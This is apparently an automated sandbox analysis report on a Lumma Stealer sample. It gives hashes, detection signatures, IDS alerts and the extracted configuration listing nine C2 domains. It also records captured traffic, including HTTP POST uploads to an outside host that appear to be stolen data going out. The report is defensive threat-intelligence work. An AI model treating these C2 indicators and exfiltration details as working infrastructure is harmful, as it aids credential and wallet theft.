Edit tour

Windows Analysis Report
ji2xlo1f.exe

Overview

General Information

Sample name:	ji2xlo1f.exe
Analysis ID:	1577533
MD5:	9f8ca917737b3233abb943edc065659c
SHA1:	ea6df1e154c02f0089c8f3c4b3acc69c01d30774
SHA256:	cd4061786081eb01aa278dfff5adca5a80d827e456719e40d06f3dc9353bed22
Tags:	18521511316185215113209bulletproofexeLummaStealeruser-abus3reports
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ji2xlo1f.exe (PID: 4176 cmdline: "C:\Users\user\Desktop\ji2xlo1f.exe" MD5: 9F8CA917737B3233ABB943EDC065659C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["moutheventushz.shop", "respectabosiz.shop", "bakedstusteeb.shop", "worddosofrm.shop", "mutterissuen.shop", "conceszustyb.shop", "terracedjz.cyou", "nightybinybz.shop", "standartedby.shop"], "Build id": "FATE99--november"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ji2xlo1f.exe PID: 4176	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ji2xlo1f.exe PID: 4176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ji2xlo1f.exe PID: 4176	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:39.784288+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	23.55.153.106	443	TCP
2024-12-18T15:17:43.119365+0100	2028371	3	Unknown Traffic	192.168.2.6	49724	104.21.66.86	443	TCP
2024-12-18T15:17:46.797919+0100	2028371	3	Unknown Traffic	192.168.2.6	49739	104.21.66.86	443	TCP
2024-12-18T15:17:49.546406+0100	2028371	3	Unknown Traffic	192.168.2.6	49747	104.21.66.86	443	TCP
2024-12-18T15:17:55.562519+0100	2028371	3	Unknown Traffic	192.168.2.6	49761	104.21.66.86	443	TCP
2024-12-18T15:18:00.002374+0100	2028371	3	Unknown Traffic	192.168.2.6	49771	104.21.66.86	443	TCP
2024-12-18T15:18:04.470967+0100	2028371	3	Unknown Traffic	192.168.2.6	49782	104.21.66.86	443	TCP
2024-12-18T15:18:07.954372+0100	2028371	3	Unknown Traffic	192.168.2.6	49790	104.21.66.86	443	TCP
2024-12-18T15:18:15.647919+0100	2028371	3	Unknown Traffic	192.168.2.6	49817	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:45.454383+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49724	104.21.66.86	443	TCP
2024-12-18T15:17:47.991015+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49739	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:45.454383+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49724	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:47.991015+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49739	104.21.66.86	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bakedstusteeb .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:37.383090+0100	2057261	1	Domain Observed Used for C2 Detected	192.168.2.6	55807	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (conceszustyb .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:36.962636+0100	2057259	1	Domain Observed Used for C2 Detected	192.168.2.6	62264	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (moutheventushz .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:37.754474+0100	2057255	1	Domain Observed Used for C2 Detected	192.168.2.6	64818	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mutterissuen .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:36.192611+0100	2057267	1	Domain Observed Used for C2 Detected	192.168.2.6	57083	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nightybinybz .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:36.738535+0100	2057263	1	Domain Observed Used for C2 Detected	192.168.2.6	57779	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (respectabosiz .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:37.613350+0100	2057257	1	Domain Observed Used for C2 Detected	192.168.2.6	61328	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (standartedby .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:36.424197+0100	2057265	1	Domain Observed Used for C2 Detected	192.168.2.6	57898	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (terracedjz .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:35.709139+0100	2057352	1	Domain Observed Used for C2 Detected	192.168.2.6	63769	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (worddosofrm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:36.052127+0100	2057269	1	Domain Observed Used for C2 Detected	192.168.2.6	55056	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:54.184493+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49747	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:17:41.246844+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49715	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ji2xlo1f.exe

Avira: detected

Found malware configuration

Source: 1.2.ji2xlo1f.exe.6a0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["moutheventushz.shop", "respectabosiz.shop", "bakedstusteeb.shop", "worddosofrm.shop", "mutterissuen.shop", "conceszustyb.shop", "terracedjz.cyou", "nightybinybz.shop", "standartedby.shop"], "Build id": "FATE99--november"}

Multi AV Scanner detection for submitted file

Source: ji2xlo1f.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for sample

Source: ji2xlo1f.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: moutheventushz.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: respectabosiz.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: bakedstusteeb.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: conceszustyb.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: nightybinybz.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: standartedby.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: mutterissuen.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: worddosofrm.shop
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: terracedjz.cyou
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String decryptor: FATE99--november

Source: ji2xlo1f.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49790 version: TLS 1.2

Source: ji2xlo1f.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057265 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (standartedby .shop) : 192.168.2.6:57898 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057261 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bakedstusteeb .shop) : 192.168.2.6:55807 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057267 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mutterissuen .shop) : 192.168.2.6:57083 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057259 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (conceszustyb .shop) : 192.168.2.6:62264 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057257 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (respectabosiz .shop) : 192.168.2.6:61328 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057269 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (worddosofrm .shop) : 192.168.2.6:55056 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057263 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nightybinybz .shop) : 192.168.2.6:57779 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057352 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (terracedjz .cyou) : 192.168.2.6:63769 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057255 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (moutheventushz .shop) : 192.168.2.6:64818 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49715 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49724 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49724 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49747 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: moutheventushz.shop
Source: Malware configuration extractor	URLs: respectabosiz.shop
Source: Malware configuration extractor	URLs: bakedstusteeb.shop
Source: Malware configuration extractor	URLs: worddosofrm.shop
Source: Malware configuration extractor	URLs: mutterissuen.shop
Source: Malware configuration extractor	URLs: conceszustyb.shop
Source: Malware configuration extractor	URLs: terracedjz.cyou
Source: Malware configuration extractor	URLs: nightybinybz.shop
Source: Malware configuration extractor	URLs: standartedby.shop

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49724 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49747 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49761 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49771 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49782 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49790 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49817 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 50Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MVVVI5DJZ7NBBVVVVVVVVVVVVVVVVVVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12940Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JG9YBKYFZRJ37RVVVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15102Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KCMPRRNRVFVVVVVVVVVVVVVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19996Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J916AMKVVVNFNRVVVVVVVVVVVVVVVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1317Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CAJ77ABBJ773RVVVVVVVVVVVVVVVVVVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 594472Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://communit equals www.youtube.com (Youtube)
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: y.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: terracedjz.cyou
Source: global traffic	DNS traffic detected: DNS query: worddosofrm.shop
Source: global traffic	DNS traffic detected: DNS query: mutterissuen.shop
Source: global traffic	DNS traffic detected: DNS query: standartedby.shop
Source: global traffic	DNS traffic detected: DNS query: nightybinybz.shop
Source: global traffic	DNS traffic detected: DNS query: conceszustyb.shop
Source: global traffic	DNS traffic detected: DNS query: bakedstusteeb.shop
Source: global traffic	DNS traffic detected: DNS query: respectabosiz.shop
Source: global traffic	DNS traffic detected: DNS query: moutheventushz.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
